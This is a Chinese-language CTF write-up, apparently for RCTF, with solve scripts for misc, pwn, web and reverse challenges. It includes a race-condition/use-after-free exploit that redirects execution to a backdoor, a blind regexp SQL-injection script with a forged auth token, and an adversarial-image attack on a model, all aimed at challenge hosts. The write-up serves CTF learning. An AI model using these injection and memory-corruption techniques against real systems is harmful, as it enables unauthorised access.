bbb = b'\x00\x97\xe7\xd2\xb8\xae\xda\x16\x00\xc5\x11`Pa\x8d\x9c\x16\n\x02\xdb\x02\xdd\x04:\x01\xff\xe7\x84\xff\x00\xffZ\x18\x00\x00\x00\x01\x07\t\xcf\x0c\x01\x14C\x1br[\x05\x007{\x1bZ\xff\xc1\xff\x00\xf3\x05\x00.\x0e\x13\x00\x00\x00\\R\x02\x07\x13\x01\x00B\x007\x18\x00\x0b\xfd\xfe\x00\xcc,\x16\xf7\xff@\x05\t\x01\x03\x05\x03\x00\x00\x00\x0c\x008\x08\x00\x00\xa0"\x00\xcf\x00\xd6Z`!\x04\t\x1bj\x00\x06\x16\n\x01\x0f\x15\x03#Kp0\n\xff\xff\x8fD\x00,\\\x8b-\x07\x00&/\x006\x01\r\rg\x04\x05\x00\xd5\xff\xff\xf4\xff\xff\xff\xfe\xf7\x14\x07\xca\xa3\xffZ0\x00\x00\x10\x13&\x01\x01\x00\x01\x00\xf2\xde\x94\x03\xe2[\x93\x00\x0e\x02\x04\x10\x06\xff\xff\xbdU\x00\x044\x02\x00\r\x00\r\x00 4\xed\xff\xfc\xfc\xfe\x9a\xff\nt!\x00\x14\x00\x0c\n\x1b\xae\x12d*\x00\x00\x00\x11]R\x009\xffg\x00\x00\x1a\x00\x00{\x1b\x00\n\x00\x1e\x07\x05\x00\x15\x805\x00\x00\x01\x00\x00+\x0b\x07\x00\x01\x1d\x01\x00*\x1c\x9a\x1b\xe9\xff\r \xf2\xff\x03\x86\x00\x02\xfd\xffaD)\x00\x03\x08b\x10\x03\x00\x00\x00\x00\x1a\x00\x00\x05\xfa\x97\xf4(\x08\x84 \xfb\xfe\xffe\xfe\x00\x0f\t\x07\x04:\x02\x180\xf8\xff\xfd\xff\xf9\xa7\x046\x00g\x02\xff\xe9e\x00B\xff\xffR:\x0e\x128\x0e\xe48M\xff\x01\nK\xd0*1\'(\x01\x9d\xbd\x9c\x00\xeb\x0e\x00TE\n\x039\x07U\x00\x1d9\x1a\x08\x00\x00\x000\x00\xba\xf2\xfb\x07%\xfeJ\xf6g\xf11\xf0,\x08\x00\x006&,\x15\t\x00\x00\x00\x00\x00\x07\x08D\xe1\x8c\x0c\x12\x1a9\nnO@\xf6\xff\xe83\xa0\x07\x03\x00\x08 \x00\x10\x00<\x06&\x00\x07\x00\xec\x00\x00\x152A\x11\x08\x00\x00\\\x10\x08\x03<\x03\xd2z\x00\x13\x1f\x0b\x007\x01\x02\x16\x0eWX\x01\x1ed\n\'\x0e#9\xf8\xd4\x01\x00o\xb3\x0f\x02\x0ca/\x18K\x031\x00\x00\x00\x1b\x0e\xfb\xd1\x0b\x14\x00\x04\x12\x15\x04\x022\xb7\x05\x01\x10\x04\x03c\x00\x008/\x00\x02\x0c\t\x15\x00(\x01\x00\t\x16\x00\x00\x112"\x00^\x04\x04>\x03\x00+\x18&\x1c\x0f\x16\x02\x0f\x19\x0e\x13-\x00\x00\x03\r\x08\x03\x02\x00\x04\x033\x00\x00>\x1d\x03\x0f\t\x15\x03\x0e\x13\x1b\x0f \\:\x01\x00\x00\x00\x00\x00\x03\x7f\x19\x08\x00)\x18\x0f\x01\x00\x01\x01\x00\x00\x16\x01\x00\x1b?\x00\x00\x00\x10\x00\x105\x00\x02s"\x01\x18\x00\x0e\x07\x0c\x02\x05\x04\x00\x00\x00\x00\x08\t\x02\x0b\x07\x08\x0c\x0b\x00\x04\t\x1cA\t\x00&\x1e\x00\x1f\x12t\t\x00\x01\x0c\x07\x00\x01\n\x01J\x00\x07\x03\x1a\x0b\x01\x00\t\x04\n\x04\x12\x88\xff\x8c\x13B\x1c\x08\x00n\x00\x00\x00\x01\x00\x03"\x04\x07\t\x05\x00\x00\x00\x07\x00\x03\x03\xd20\xdd\x1a9\xd7\x1a.\x03\x02\x00\x00\x04\x01\x00\x021\t\r\x06\x03\x00\t\x00\x01\x00\x01\x00\x0e\x08+i\x1b\x070M\x00\x00\x00\x00\x06\x00\x00\x00\x06\x05\x00\x00\x00\x00\x00\x00\t\x0e\x13\'V\x00\x00 \x00\x00 \r\x01\x01\x02\x01\t\x00\x00\x00\x00\x00\x10\x00\x00\x01\x00\t\x0b\x01\x00\x00\x00'
optimized_image_reconstructed = np.frombuffer(bbb, dtype='uint8').reshape(28, 28)
with torch.no_grad():
    img_new_tensor = torch.tensor(optimized_image_reconstructed.reshape(28, 28), dtype=torch.float32) / 255.0
    img_new_tensor = img_new_tensor.unsqueeze(0)
    feature_new_final = model(img_new_tensor.to(device)).detach().cpu().numpy()
    dist_final = np.sqrt(np.sum((target_feature.numpy() - feature_new_final)**2))

print("Final Loss:", loss.item())
print("Distance:", dist_final)
optimized_image_reconstructed = np.frombuffer(bbb, dtype='uint8').reshape(28, 28)
with torch.no_grad():
    img_new_tensor = torch.tensor(optimized_image_reconstructed.reshape(28, 28), dtype=torch.float32) / 255.0
    img_new_tensor = img_new_tensor.unsqueeze(0)
    feature_new_final = model(img_new_tensor.to(device)).detach().cpu().numpy()
    min_dist = np.sqrt(np.sum((target_feature.numpy() - feature_new_final)**2))
    print(min_dist)
    best_b = bbb

# 逐字节调整图像直到距离小于6
while min_dist >= 100:
    for i in range(28):
        for j in range(28):
            for value in range(256):  # 尝试所有可能的像素值
                temp_b = bytearray(best_b)
                temp_b[i*28+j] = value

                # 计算新的特征向量和距离
                optimized_image_reconstructed = np.frombuffer(temp_b, dtype='uint8').reshape(28, 28)
                with torch.no_grad():
                    img_new_tensor = torch.tensor(optimized_image_reconstructed.reshape(28, 28), dtype=torch.float32) / 255.0
                    img_new_tensor = img_new_tensor.unsqueeze(0)
                    feature_new_final = model(img_new_tensor.to(device)).detach().cpu().numpy()
                    temp_dist = np.sqrt(np.sum((target_feature.numpy() - feature_new_final)**2))

                    # 如果距离更小,则更新最佳图像
                    if temp_dist < min_dist:
                        min_dist = temp_dist
                        best_b = bytearray(temp_b)
                        print(f"Updated pixel ({i},{j}), value: {value}, new min distance: {min_dist}")
                        if min_dist < 6:
                            break
            if min_dist < 6:
                break
        if min_dist < 6:
            break

# 最终输出优化后的图像
print(best_b)
bbb = best_b
optimized_image_reconstructed = np.frombuffer(bbb, dtype='uint8').reshape(28, 28)
with torch.no_grad():
    img_new_tensor = torch.tensor(optimized_image_reconstructed.reshape(28, 28), dtype=torch.float32) / 255.0
    img_new_tensor = img_new_tensor.unsqueeze(0)
    feature_new_final = model(img_new_tensor.to(device)).detach().cpu().numpy()
    dist_final = np.sqrt(np.sum((target_feature.numpy() - feature_new_final)**2))

print("Final Distance:", final_dist)



from evilblade import *
import hashlib
context.log_level = "debug"
rsetup("47.94.109.95", 40999)
ru("hash: ")
target = ru("\n")[:-1].decode()
d(target)
ru("bytes: ")
prefix = ru("\n")[:-1].decode()
d(prefix)
# prefix = "f81091150e14"  # 给定的前6个字节
# target = "ce0f8313199c08f9c56907acc59e1749c922d0bbf05e83ccfbd79d8fbfeb916b"  # 目标哈希值

for i in range(256):
    for j in range(256):
        last_two_bytes = bytes([i, j])
        hash_input = bytes.fromhex(prefix) + last_two_bytes
        hash_value = hashlib.sha256(hash_input).hexdigest()
        if hash_value == target:
            print(f"Found last two bytes: {last_two_bytes.hex()}")
            pay = last_two_bytes.hex()
            break

d(pay)
sla("2 ",pay)
# image = b'DV\xfe;_\xcfRSk\xb8\xd2\n\xf5\x98\xe4\x88\xb2z\xfa\xdft \xd2\xd3. \xd7\xe7\xe8\xf4\x11Z\x839|Y\x1a\x04~\xc7_\r\x9e\xb5\x8fX\xc7\xc7\xc0\xd6l\xe1\xb4\x9e=\x810z\xc0\x1e\x8b\x85\xde.\x8e\x10Y\xb4\x82Z\xde\x88\xba\x00\xff\xfe\xe25\xa7\xd3\xef\xbc/\xe1\x8eo \xf0\x10\x9f\xa5\x1e\xe85v\t?\xacw\x8cX}\xa0\'\x185\x934J\xf3:~\xe4\x96BZu\xe4W\xd7k\xd6\xd4\xc3\x1d8\xfc\xd4.\x05\x9aB\xadeF#\xc6\xdf\x8ac\xb7\xb3b\x92\xc3\xf7,\xe90J6[\xa9\xe0~\x1e\x1a\xf4\xa6\xddx\x9eH?0Xi|\xcc\xd1\xd3x\xd3J=\x89\x10\x17\xb8\x7f\x92\xa2\x89\x9b[\xda\xdeE\xe51\xeco\x8d\xd3l\rP\x1cj\t\xb9r\xae\x95a%L\xb5\x90\xdc\xf8\xfd\x9f\x90\x00\xad\x83\x9a\x8dV\xf2C\xa5\xa9\xc63*JQ\r\x89\xd8\x96\x91\xb4";Hx\xbcjL\x9b\xa5\xd9\xfa\xd2F\xeb\x98\xac\xbc^\x95pA\x900\xa2\xc0\x1a\xc0@}\xe3\xea\x93x\x0c^N\xd8\\\xc5\x93\x9cB"\x88\x94\x82@_E\xef*?*\xee\xa3W\x9d\xfa\xde\xb79\t?Ha\x91\xa7\xd9F\x1c[\r\x85\xd3\xed\x19\x98\xf6dr\xeb\xfa\x82\x8e\'\x04\xfe\'2\x94\xe4\xa0\x06j\xa7\x00\xf0\x8f\xc9\x0bC\r\xb3\x98!\xe3v\xa1\xf86g;\n<\x80\xf9R7H\xdb\x9d;\xe8\xc0\xb8\xd6\xd2\xabu\x17Mg\x18\x11l\x98\xda\x07\x10\xe2\xf3\x9f\x16\xb7\x16\xba\x81\x80\xc9^\x11\xf7\x04\xb7{i^\xec\xa2\x9e\t\xc0\x0c\xba!\x15\x0f\xe0TN\x1fPTp\x9d\x9a\'\xfa6]\xb9\xeej\x0c\r7{\xdb\xcf1\xd7x\x1e<x\xf9r\x99\r\xfc\x17u\xcaI3n\xca\xb2\xc2\x01\xb4\xf2\x89\xa0F|3\\\x04\x8a\x91\x8b\x12\x0f\xa9\x16\xb1\xf8\xe6.i\x9e#\x06\xf5\x8f$.@\xa5\xfaL\t\xb2&j\xd2xN0\xa5\xe2}\x80\x1d>\x18\xbbx\xed\x95\x89\xe3\xfc/N\xc0\xb6\xbe%Z\xc1\x9c\xce}\xf5\xb1\xb5\xb4\x94\xfe\x84\x9d\x84}\xa4(f\xd2Gl\xe7\xc0\x99\xb3\xcb\xbd\xfa\x91\xedW\xfc\x8bp\xe0\x90as\x1c\x00\xe0\xbc[\x17\xe4\xbe]\x91\xe5\xa2CU\xa7\xc8\xae\x987\xaeS\xfeX\x91~\x95\xd0l\x00vL%q\xba\xe1i\x1bXg\x02a\x84\x8az\xfb(kj\xbc\x97\xfc\xe3?r\xe6\x11S\x13$\xed \xf0\x80\xd4\x9fC\xea\x81\xdb\xf68\xe9\x82\xc9!!\r\xe28\xee\x1eJ\x08\xa8\x1f\xd5lRl\x1ba\xd4\xbd\x1b\xa0\xc0\xcc\rm\xaf\x12\xc9\xba\xb1\xb3X\xbf\x12Q\xd9\xba\x95\x1dEA\x00\xea\x91\x93\x87T\x86\x89\xc5x!\x90\xac\xc5\x82>[E*\x88\xefF\xc6\xb9\x84D\xdf\x10\xdf\xca&\xe4\x8f\x98\xbe\xf6V4\x9c-\xa2\x7fX" d\xd5>\xbd\r\xa8\xe7\xc76SGQ\xcc}\xf6z\x80g4\xbb\t\xb0\xe1A\xcbo\x01M\xb9;\xfd\xf4\x93\x90Z\xd5\xb0\xf0Vu\x93\xaa\x9c\xd9/rD\x93\xdc\x1e\x9bn\xdf\x84nVtt\x14-\x1e\xd5\xf2\x9b\x8b\xd57\x91s\x99\x11\xbf@b\xf5\x03@MLe\x06'
# image = b'\x00\x97\xe7\xd2\xb8\xae\xda\x16\x00\xc5\x11`Pa\x8d\x9c\x16\n\x02\xdb\x02\xdd\x04:\x01\xff\xe7\x84\xff\x00\xffZ\x18\x00\x00\x00\x01\x07\t\xcf\x0c\x01\x14C\x1br[\x05\x007{\x1bZ\xff\xc1\xff\x00\xf3\x05\x00.\x0e\x13\x00\x00\x00\\R\x02\x07\x13\x01\x00B\x007\x18\x00\x0b\xfd\xfe\x00\xcc,\x16\xf7\xff@\x05\t\x01\x03\x05\x03\x00\x00\x00\x0c\x008\x08\x00\x00\xa0"\x00\xcf\x00\xd6Z`!\x04\t\x1bj\x00\x06\x16\n\x01\x0f\x15\x03#Kp0\n\xff\xff\x8fD\x00,\\\x8b-\x07\x00&/\x006\x01\r\rg\x04\x05\x00\xd5\xff\xff\xf4\xff\xff\xff\xfe\xf7\x14\x07\xca\xa3\xffZ0\x00\x00\x10\x13&\x01\x01\x00\x01\x00\xf2\xde\x94\x03\xe2[\x93\x00\x0e\x02\x04\x10\x06\xff\xff\xbdU\x00\x044\x02\x00\r\x00\r\x00 4\xed\xff\xfc\xfc\xfe\x9a\xff\nt!\x00\x14\x00\x0c\n\x1b\xae\x12d*\x00\x00\x00\x11]R\x009\xffg\x00\x00\x1a\x00\x00{\x1b\x00\n\x00\x1e\x07\x05\x00\x15\x805\x00\x00\x01\x00\x00+\x0b\x07\x00\x01\x1d\x01\x00*\x1c\x9a\x1b\xe9\xff\r \xf2\xff\x03\x86\x00\x02\xfd\xffaD)\x00\x03\x08b\x10\x03\x00\x00\x00\x00\x1a\x00\x00\x05\xfa\x97\xf4(\x08\x84 \xfb\xfe\xffe\xfe\x00\x0f\t\x07\x04:\x02\x180\xf8\xff\xfd\xff\xf9\xa7\x046\x00g\x02\xff\xe9e\x00B\xff\xffR:\x0e\x128\x0e\xe48M\xff\x01\nK\xd0*1\'(\x01\x9d\xbd\x9c\x00\xeb\x0e\x00TE\n\x039\x07U\x00\x1d9\x1a\x08\x00\x00\x000\x00\xba\xf2\xfb\x07%\xfeJ\xf6g\xf11\xf0,\x08\x00\x006&,\x15\t\x00\x00\x00\x00\x00\x07\x08D\xe1\x8c\x0c\x12\x1a9\nnO@\xf6\xff\xe83\xa0\x07\x03\x00\x08 \x00\x10\x00<\x06&\x00\x07\x00\xec\x00\x00\x152A\x11\x08\x00\x00\\\x10\x08\x03<\x03\xd2z\x00\x13\x1f\x0b\x007\x01\x02\x16\x0eWX\x01\x1ed\n\'\x0e#9\xf8\xd4\x01\x00o\xb3\x0f\x02\x0ca/\x18K\x031\x00\x00\x00\x1b\x0e\xfb\xd1\x0b\x14\x00\x04\x12\x15\x04\x022\xb7\x05\x01\x10\x04\x03c\x00\x008/\x00\x02\x0c\t\x15\x00(\x01\x00\t\x16\x00\x00\x112"\x00^\x04\x04>\x03\x00+\x18&\x1c\x0f\x16\x02\x0f\x19\x0e\x13-\x00\x00\x03\r\x08\x03\x02\x00\x04\x033\x00\x00>\x1d\x03\x0f\t\x15\x03\x0e\x13\x1b\x0f \\:\x01\x00\x00\x00\x00\x00\x03\x7f\x19\x08\x00)\x18\x0f\x01\x00\x01\x01\x00\x00\x16\x01\x00\x1b?\x00\x00\x00\x10\x00\x105\x00\x02s"\x01\x18\x00\x0e\x07\x0c\x02\x05\x04\x00\x00\x00\x00\x08\t\x02\x0b\x07\x08\x0c\x0b\x00\x04\t\x1cA\t\x00&\x1e\x00\x1f\x12t\t\x00\x01\x0c\x07\x00\x01\n\x01J\x00\x07\x03\x1a\x0b\x01\x00\t\x04\n\x04\x12\x88\xff\x8c\x13B\x1c\x08\x00n\x00\x00\x00\x01\x00\x03"\x04\x07\t\x05\x00\x00\x00\x07\x00\x03\x03\xd20\xdd\x1a9\xd7\x1a.\x03\x02\x00\x00\x04\x01\x00\x021\t\r\x06\x03\x00\t\x00\x01\x00\x01\x00\x0e\x08+i\x1b\x070M\x00\x00\x00\x00\x06\x00\x00\x00\x06\x05\x00\x00\x00\x00\x00\x00\t\x0e\x13\'V\x00\x00 \x00\x00 \r\x01\x01\x02\x01\t\x00\x00\x00\x00\x00\x10\x00\x00\x01\x00\t\x0b\x01\x00\x00\x00'

sa("28",bbb)
ia()

sec-image

经过观察发现一张图片里面叠了好几个字母,猜测按顺序来第一张图片能分辨出RCTF,但是没有大括号的特征,大胆猜测一张图片里面有4个字母,通过观察发现一个2*2的格子中的四个像素单独看起来像是四个字母的样式,然后全波重叠起来得到了这张图片,编写代码如下:

# 加载一个png,读取像素并放在新的png中
from PIL import Image

def split_image(image, pos, num):
    if pos == 0:
        start = (0,0)
    elif pos == 1:
        start = (1,0)
    elif pos == 2:
        start = (0,1)
    elif pos == 3:
        start = (1,1)

    new_image = Image.new('RGB', (800,800))

    for i in range(399):
        for j in range(399):
            new_image.putpixel((i*2+start[0], j*2+start[1]), image.getpixel((i*2+start[0], j*2+start[1])))
    new_image.save(f'flag{num}_'+str(pos)+'.png')

for i in range(10):
    source = Image.open(f'flag{i}.png')
    for j in range(4):
        split_image(source, j, i)

然后得到结果:

img

s1ayth3sp1re

这应该是个re题。

把文件拖进jadx查找判断胜利的条件:

img

直接看加密逻辑,简单异或:

img

写解密代码:

arr1 = [164, 158, 95, 107, 4, 215, 108, 115, 5, 8, 25, 57, 41, 236, 231, 17, 85]
arr2 = [246, 221, 11, 45, 127, 148, 45, 36, 70, 73, 78, 8, 98, 141, 140, 112, 40]

enc1 = [0] * len(arr1)
for i in range(len(arr1)):
    enc1[i] = arr1[i] ^ arr2[i]
    print(chr(enc1[i]), end = '')

print()

arr3 = [100, 174, 197, 56]
arr4 = [2, 0xC2, 164, 95]

enc2 = [0] * len(arr3)
for i in range(len(arr3)):
    enc2[i] = arr3[i] ^ arr4[i]
    print(chr(enc2[i]), end = '')

img

RCTF{CAWCAW1Kaka}

gogogo

浏览记录中找到baidu网盘链接https://pan.baidu.com/share/init?surl=ZllFd8IK-oHvTCYl61_7Kw,剪切版里找密码cwqs

img

从浏览器访问记录里拿到密码了,为3546644702301067

太操蛋了,解压得到压缩包和流量,流量是键盘

****niuoybufmefhuikjqillxdjwmiuizebuuidvooudpnuibuuijqybdmvegeyisivemeuolljxysgowodmnkderfdbmzfahkhkdazizvjnybufmehkwjdeggmanamimajqueviigkylldadoqislbapnynqrpnqrxcxxzimu\*\**\***

Feedback

问卷

Pwn

TaskGo

首先通过条件竞争,将金钱数值溢出到无限大,然后学习所有的魔法卷轴,通过2 1337来泄漏后门地址或者system地址,最后关键点在于,使用1337时有5s的时间,此时用drop释放player内部的结构体,然后快速申请用评论功能,就可以写入player的结构体,而此时1337还是使用原来的结构体,就会导致任意地址执行。我们将结构体用backdoor填充,用户名是/flag即可获得flag。

img

from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')

setup("./ctf")
rsetup("1.94.107.129",10088)
evgdb()

def got(index,flag=1):
    sl(b"1")
    sl(b"3")
    sleep(0.5)
    sl(b"2")
    sl(b"1")
    sl(str(index))
    sleep(0.5)
# sl(cyclic(0x3000))
    sl(b"2")
    sl(b"3")
    sleep(0.5)
    if flag:
        sl(b"2")
        sl(b"2")
    sleep(0.5)
# sl(cyclic(0x3000))
def back():
    sl(b"2")
    sl(b"1337")

sl(b"/flag")
sl(b"1")
sl(b"1")
sl(b"1")
sl(b"1")
sl(b"1")
sl(b"1")
sl(b"2")
sl(b"1")
sl(b"2")
sl(b"3")
sl(b"2")
sl(b"2")
sl(b"3")
sl(b"3")
sl(b"3")
sleep(3)
sl(b"2")
sl(b"1337")
sl(b"3")
sleep(0.5)
sl(b"3")
sleep(0.5)
got(3)
got(2)
got(1,flag=1)
sleep(3)
got(3, flag =0)
back()
sleep(6)
sl(b"3")
ru("5s")
ru(">> ")
libc = getx(0,-1)-331536
pie = getx(0,-1)+0x4cba0
dx(libc)
dx(pie)
tet()
backdoor = getx(-15,-1)

sl("1")
sl("1")
sleep(1)
dx(backdoor)
pause()
sl("2")
sl("1337")
sl(cyclic(0x500))
sl("2")
sl("2")
sl("1")
sl("1")
sleep(1)
sl("2")
sl("2")
sleep(1)
sl(cyclic(40)+p64(backdoor)+b"\n")
print("[+] Done!")

ia()

Web

what_is_love

  • 第一段flag:

sql注入使用regexp注入(拼接后的sql语句是真别扭,需要在一个where后面使用两次love_key)

  • 第二段flag:鉴权绕过,

做的时候感觉没有利用点能泄露环境变量,所以我直接猜测远端环境可能就是这俩了

img

然后直接设置have_lovers为true

img

check的时候直接出了第二段flag(感觉还得调试一下decodeToken这个函数,这样才能完全弄懂吧)

exp如下:

import requests

url = "http://1.94.13.174:10088"

# url = "http://127.0.0.1:5000"

def flag1():
    # RCTF{THE_FIRST_STEP_IS_TO_GET_TO_KNOW
    flag1 = "RCTF{"
    s = requests.session()
    while True:
        for i in range(1, 128):
            payload = "1' || love_key regexp binary '^"+flag1+chr(i)+"'#"
            sqlinjection_payload = {
                "key1": {
                    payload: "test",
                    "length": 12
                }
            }

            resp = s.post(url=url+"/key1", data=sqlinjection_payload)
            if "success" in resp.text and i != 36 and i != 42 and i != 43 and i != 63 and i != 46:
                # print(f"{i}: {chr(i)}")
                flag1 += chr(i)
                print(flag1)


def flag2():
    # eyJ1c2VybmFtZSI6ImxvdmVyIiwibG92ZV90aW1lIjpudWxsLCJoYXZlX2xvdmVycyI6dHJ1ZX0=.2f5379495c84d7d39b7199c3ca42a499e3deea4e8b1cc21cc68455119becf59d
    s = requests.session()
    payload = {
        "love_token": "eyJ1c2VybmFtZSI6ImxvdmVyIiwibG92ZV90aW1lIjpudWxsLCJoYXZlX2xvdmVycyI6dHJ1ZX0=.2f5379495c84d7d39b7199c3ca42a499e3deea4e8b1cc21cc68455119becf59d"
    }

    resp = s.post(url=url+"/check", data=payload)

    print(resp.text)

    s.close()


if __name__ == "__main__":
    #flag1()
    flag2()

第一段flag

img

第二段flag

img

Reverse

2048

审计源码,看出每轮将获得分数为输入的sorce,上限为当前得分,初次上限为1w,那么每次成功分数翻倍的情况下用不了几次即可到达100w分:

img

RCTF{you_are_2048_master}

bloker_vm

在每种case中下断点,可得到加密逻辑,

但是没看出反调试的影响在哪里。

img

解密代码:

#include <cstdio>

int rc4(unsigned char* input, int input_len, char* key, int key_len)
{
    int result; // eax
    char v5; // [esp+D3h] [ebp-155h]
    char v6; // [esp+D3h] [ebp-155h]
    int v7; // [esp+F4h] [ebp-134h]
    int i; // [esp+100h] [ebp-128h]
    int j; // [esp+100h] [ebp-128h]
    int k; // [esp+100h] [ebp-128h]
    unsigned __int8 v11; // [esp+10Fh] [ebp-119h]
    unsigned __int8 v12; // [esp+11Bh] [ebp-10Dh]
    char v13[260]; // [esp+124h] [ebp-104h]
    for(i = 0; i < 256; ++i)
        v13[i] = i;
    v7 = 0;
    for(j = 0; j < 256; ++j)
    {
        v7 = ((unsigned __int8)key[j % key_len] + v7 + (unsigned __int8)v13[j]) % 256;
        v5 = v13[j];
        v13[j] = v13[v7];
        v13[v7] = v5;
    }
    v12 = 0;
    v11 = 0;
    for(k = 0; ; ++k)
    {
        result = k;
        if(k >= input_len)
            break;
        v11 += v13[++v12];
        v6 = v13[v12];
        v13[v12] = v13[v11];
        v13[v11] = v6;
        input[k] ^= v13[((unsigned __int8)v13[v11] + (unsigned __int8)v13[v12]) % 256];
    }
    return result;
}

int main()
{
    unsigned char enc_flag[] =
    {
        0x80, 0x05, 0xE3, 0x2F, 0x18, 0x2F, 0xC5, 0x8C, 0x25, 0x70,
        0xBC, 0x05, 0x1C, 0x4F, 0xF2, 0x02, 0xE5, 0x3E, 0x02, 0x2F,
        0xE5, 0x11, 0xA3, 0xC0
    };
    char key[] = "thisisyoursecretkey";


    rc4(enc_flag, 24, key, 18);

    for(int i = 0; i < 24; i++)
    {
        enc_flag[i] = (enc_flag[i] << 2) & 63 | (enc_flag[i] >> 6);
        enc_flag[i] ^= 0x7D;
        printf("%c", enc_flag[i]);
    }

    return 0;
}

RCTF{a_baby_debug_bloker}

PPTT

看到mian函数中先将输入写成二叉树层序存储,然后先序和中序遍历,并对中序的结果进行交换混淆,

img

img

v23,v24,v25存储的即为中序遍历的结果,z3解方程可得

img

z3解方程+还原:

from Crypto.Util.number import *
from z3 import *

v17 = BitVec('v17', 64)
v18 = BitVec('v18', 64)
v19 = BitVec('v19', 64)
v20 = BitVec('v20', 64)
v23 = BitVec('v23', 64)
v24 = BitVec('v24', 64)
v25 = BitVec('v25', 64)

s = Solver()

s.add(v20 == v24 & v23)
s.add(v19 == (v24 & v23 | v25 & v23) + 65670)
s.add(v18 == (v25 & v23 ^ v25 & v24) - 1131796)
s.add(v17 == v24 & v23 ^ v25 & v23)
# s.add((v24 & v23 & (~(v24 | v23) | v25 & v23 | v25 & v24 & ~v18) | v25 & v24 & v18) != 0x67437616)
s.add((v23 ^ (v20 & ~v18 | v20 & ~v19 | v17 & v19 | v25 & v23 & ~v18)) == 0x400010000622000)
s.add((v18 ^ (v19 - v20)) == 0x2100A0203EFBB8B)
s.add((v17 ^ v19 ^ v20) == 0x4083102108E)
s.add((v19 ^ v17) - v18 == 0x1551566F3C6485ED)
s.add((v18 ^ v19 ^ v25 & v24) == 0x40836ECAB9A)
s.add((v17 ^ v20) - v18 == 0x3E51566F3C718563)
s.add(v23 - v24 == 0x1AEFF6FDFC121BF1)
s.add((v25 + v24 + v23) % 10 == 8)

while s.check() == sat:
    model = s.model()
    tmp = long_to_bytes(model[v25].as_long())
    s.add(v25 != model[v25])

    if len(str(tmp)) != 11 or tmp.find(b'C') == -1 or tmp.find(b'F') == -1 or tmp.find(b'}') == -1:
        continue

    mid1 = long_to_bytes(model[v23].as_long())
    mid2 = long_to_bytes(model[v24].as_long())
    mid3 = long_to_bytes(model[v25].as_long())
    # print(mid1[::-1])
    # print(mid2[::-1])
    # print(mid3[::-1])

    str1 = '0123456789abcdefghijklmn'
    str2 = 'gefckamb52hl48i0n1j396d7'

    mid = mid1[::-1]+mid2[::-1]+mid3[::-1]
    flag = ''
    for i in range(24): 
        flag += chr(mid[str2.find(str1[i])])
    
    print(flag)

一个一个验证所有解

img

img

RCTF{sjknwemqspsdaqtyua}